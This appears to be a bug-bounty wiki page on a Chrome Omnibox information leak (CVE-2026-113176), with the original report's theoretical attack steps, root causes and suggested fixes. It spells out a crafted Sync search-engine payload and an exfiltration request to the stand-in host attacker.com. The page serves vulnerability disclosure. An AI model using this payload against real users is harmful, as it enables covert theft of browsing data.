Information leak in Omnibox (CVE-2026-113176)
A logic flaw in how Chrome matches wildcard paths in alternate search engine URLs allows an attacker with Sync access to inject a malicious search engine configuration. This causes Chrome to misidentify sensitive visited URLs as search result pages and send the full URL to an attacker-controlled endpoint, even when URL data collection is disabled.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 7 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: An attacker with Sync access can inject a malicious search engine configuration that bypasses privacy gates designed to protect visited URLs. By exploiting a logic flaw in how wildcard paths in alternate_urls are matched, the browser can be tricked into sending the full URL of visited pages to an attacker-controlled endpoint, even when URL data collection is disabled.
Affected files:
components/omnibox/browser/base_search_provider.cccomponents/search_engines/template_url.cccomponents/search_engines/template_url_service.cccomponents/omnibox/browser/remote_suggestions_service.cccomponents/omnibox/browser/search_provider.cc
Estimated timestamp from git blame: 2025-11-10
Vulnerability Summary
A potential vulnerability exists in Chrome's search engine synchronization and suggest request logic. An attacker with access to a user's Chrome Sync data (without a custom passphrase) can inject a crafted Default Search Engine (DSE) configuration. This configuration bypasses the IsUrlDataCollectionActive privacy gate by exploiting a logic flaw in ExtractSearchTermsFromURL, causing Chrome to misidentify sensitive URLs as search result pages. This leads to the stealthy exfiltration of full visited URLs (including paths and query strings) to an attacker-controlled host via the suggest endpoint.
Potential Attack Steps
Note: These steps are based on static analysis of the codebase and represent a theoretical attack path.
- Inject Malicious Payload: The attacker injects a malicious
SearchEngineSpecificspayload via Chrome Sync to overwrite the user's DSE (typically Google). The payload is crafted as follows:sync_guid: Set to the known GUID of the target DSE (e.g.,485bf7d3-0215-45af-87dc-538868000001for Google).prepopulate_id:0. This is critical, as it bypasses the protection inTemplateURLService::CreateTemplateURLFromTemplateURLAndSyncDatathat reverts modified prepopulated engines.url:https://www.google.com/search?q={searchTerms}. This ensuressearch::TemplateURLIsGooglereturns true, passing subsequent trust checks.suggestions_url:https://attacker.com/log?q={searchTerms}&{google:currentPageUrl}. The attacker-controlled endpoint for exfiltration.alternate_urls: Wildcards targeting sensitive domains, e.g.,['https://docs.google.com/{searchTerms}'].
- Sync Ingestion: Chrome syncs the data. Because
prepopulate_idis0, the maliciousalternate_urlsare accepted without validation. - Victim Browsing: The victim, who has URL data collection disabled for privacy, navigates to a sensitive page on a targeted domain, e.g.,
https://docs.google.com/document/d/SECRET_ID/edit. - Omnibox Interaction: The victim types in the Omnibox.
SearchProvider::Startattempts to fetch suggestions and evaluates the privacy gate usingCanSendSuggestRequestWithPageURL. - Privacy Gate Bypass:
- Because URL data collection is disabled, the code checks if the current page is a Search Results Page (SRP) using
!template_url->IsSearchURL(current_page_url, search_terms_data). IsSearchURLevaluates the maliciousalternate_url(https://docs.google.com/{searchTerms}).- In
TemplateURLRef::ExtractSearchTermsFromURL, the logic at line 652 ((!PathIsEqual(url) && (search_term_key_location_ != url::Parsed::PATH))) skips the strict path equality check because{searchTerms}is in the path. - The function incorrectly extracts the sensitive path (
/document/d/SECRET_ID/edit) as a "search term" and returns true. The privacy gate is bypassed.
- Because URL data collection is disabled, the code checks if the current page is a Search Results Page (SRP) using
- Exfiltration:
SearchProviderpopulatessearch_term_args.current_page_urlwith the full, sensitive URL.RemoteSuggestionsService::EndpointUrlcallsReplaceSearchTermson the attacker'ssuggestions_url.- The
{google:currentPageUrl}token is replaced with the escaped sensitive URL. - A network request is dispatched to
https://attacker.com/log?q=...&url=https%3A%2F%2Fdocs.google.com%2F..., exfiltrating the data.
Root Causes
- Flawed Path Validation: In
TemplateURLRef::ExtractSearchTermsFromURL, if the search term placeholder is in the path, thePathIsEqualcheck is bypassed. This allows broad wildcard matching against any path on the specified host. - Sync Validation Bypass: Setting
prepopulate_idto0in a Sync payload bypasses the reversion logic (UpdateTemplateURLDataIfPrepopulated), allowing an attacker to inject arbitraryalternate_urlsandsuggestions_urlwhile spoofing a legitimate DSE. - Trust Mismatch:
search::TemplateURLIsGooglevalidates trust based solely on theurlfield, ignoring thesuggestions_url. This allows the suggest endpoint to receive sensitive parameters (like{google:currentPageUrl}) even if it points to a third-party host.
Suggested Fixes
- Enforce Host Matching: Ensure that the
suggestions_urlhost matches theurlhost, or restrict sensitive parameters like{google:currentPageUrl}from being sent to untrusted suggestion endpoints. - Fix Path Validation: Correct the logic in
TemplateURLRef::ExtractSearchTermsFromURLso that path-based search terms cannot broadly match any URL on a given host, preventing the misidentification of arbitrary URLs as Search Result Pages. - Strengthen Sync Validation: Sanitize or drop
alternate_urlsreceived via Sync for non-prepopulated engines (prepopulate_id == 0), or ensure that critical fields cannot be mismatched to spoof known engines.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a combination of three flaws: path validation in ExtractSearchTermsFromURL skips strict equality when the search term is in the path, Sync validation can be bypassed by setting prepopulate_id to 0, and trust checks for Google search engines ignore the suggestions_url host.
Impact
The full URL of visited pages, including paths and query strings, could be stealthily exfiltrated to an attacker-controlled host, even when URL data collection is disabled.
What the attacker needed
Attacker has access to victim's Chrome Sync data; victim has URL data collection disabled; victim uses Omnibox on a targeted page
The fix
The report suggests enforcing host matching between suggestions_url and url, fixing path validation in ExtractSearchTermsFromURL, and strengthening Sync validation for alternate_urls.
How it was found
- Attacker injects a malicious search engine configuration via Chrome Sync, setting prepopulate_id to 0 and providing a crafted suggestions_url and alternate_urls.
- Chrome syncs the data, and because prepopulate_id is 0, the malicious alternate_urls are accepted without validation.
- Victim, who has URL data collection disabled, navigates to a sensitive page on a targeted domain.
- Victim types in the Omnibox, triggering a suggest request that evaluates the privacy gate.
- The privacy gate is bypassed because the malicious alternate_url causes the sensitive URL to be misidentified as a search results page.
- The full sensitive URL is sent to the attacker-controlled endpoint via the suggest request.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Chrome lets you sync your settings, including your default search engine, across devices. If an attacker can change that synced data, they could add a fake search engine that secretly sends the addresses of pages you visit to their own server. This report shows how a mistake in checking those addresses let that happen even when you had turned off sharing of visited URLs.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.